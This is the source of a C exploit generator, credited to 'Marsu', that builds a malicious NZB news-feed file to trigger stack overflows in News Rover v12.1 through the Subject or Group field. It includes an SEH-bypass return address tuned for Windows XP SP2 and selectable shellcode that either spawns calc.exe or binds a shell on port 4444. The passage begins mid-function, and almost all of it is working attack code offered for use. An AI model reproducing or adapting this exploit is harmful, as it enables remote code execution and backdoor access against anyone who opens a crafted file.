"News Rover is the ultimate tool for extracting information from Usenet newsgroups." A vulnerability in News Rover allows arbitrary code execution via malicious news feed file.
FILE *file;
char * pad;
int type=0;
int mode=0;
char *filename;
char *myshell;
printf("[+] NZB exploit for News Rover\n");
printf("[+] Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>\n");
if (argc>3) {
type=atoi(argv[1]);
filename=argv[3];
mode=atoi(argv[2]);
if (!mode)
myshell=calcshellcode;
else
myshell=bindshellcode;
}
else {
printf("[+] Usage: %s type mode file.nzb\n\n",argv[0]);
printf("[+] type is ...\n");
printf("0: News Rover v12.1, Rev. 1 Subject stack overflow. Works on XP SP2 FR\n");
printf("1: News Rover v12.1, Rev. 1 Group stack overflow. Works on XP SP2 FR\n\n");
printf("[+] mode is \n");
printf("0: Spawns calc.exe\n");
printf("1: Binds to 4444\n\n");
printf("[+] Ex: %s 0 0 file.nzb",argv[0]);
return 0;
}
file=fopen(filename,"wb");
if (type==0)
{
fprintf(file,nzbheader);
fprintf(file,"<file poster=\"Poster\" date=\"1170609233\"\nsubject=\"");
pad = (char*)malloc(sizeof(char)*3000+strlen(myshell));
memset(pad,'A',3000);
memcpy(pad+2022,"\xeb\x15\x90\x90",4); //jmp short +15
memcpy(pad+2026,"\x2a\x02\xfc\x7f",4); //pop pop ret in ??? defeats SP2 SEH call protection. Have a look to your memory and change this address if it doesnt work.
memset(pad+2030,0x90,15); //nop padding
memcpy(pad+2045,myshell,strlen(myshell));
memset(pad+2045+strlen(myshell),0,1);
memset(pad+3000,0,1);
fprintf(file,pad);
fprintf(file,"\">\n<groups><group>some group</group></groups>\n<segments>\n<segment bytes=\"30\" number=\"1\">some name");
fprintf(file,nzbend);
fclose(file);
}
else if (type==1)
{
fprintf(file,nzbheader);
fprintf(file,"<file poster=\"Poster\" date=\"1170609233\" subject=\"Some Subj\">\n");
fprintf(file,"<groups><group>alt.bdffs</group></groups>\n<segments>\n<segment bytes=\"30\" number=\"1\">no matter the name</segment>\n</segments>\n</file>");
fprintf(file,"\n\n<file poster=\"Poster\" date=\"1170609233\" subject=\"Some Subj\">\n");
fprintf(file,"<groups><group>");
pad = (char*)malloc(sizeof(char)*100);
memset(pad,'A',100);
memcpy(pad,"\x90\xb8\x33\x33\x33\x33\x2D\x13\x27\x33\x33\x8B\x04\x04\x40\xFF\xD0",17); //We will use data stuck in Segment to exec our code because we dont have much place here
memcpy(pad+94,"\x53\xF1\xD1\x77\00",5); //call ebx in USER32.dll
fprintf(file,pad);
fprintf(file,"</group></groups>\n<segments>\n<segment bytes=\"30\" number=\"1\">");
pad=(char *)realloc(pad,sizeof(char)*3000);
memset(pad,'A',3000);
memcpy(pad+1500,myshell,strlen(myshell));
memset(pad+3000,0,1);
fprintf(file,pad);
fprintf(file,nzbend);
fclose(file);
}
printf("[+] File generated! Have fun\n");
return 0;
}
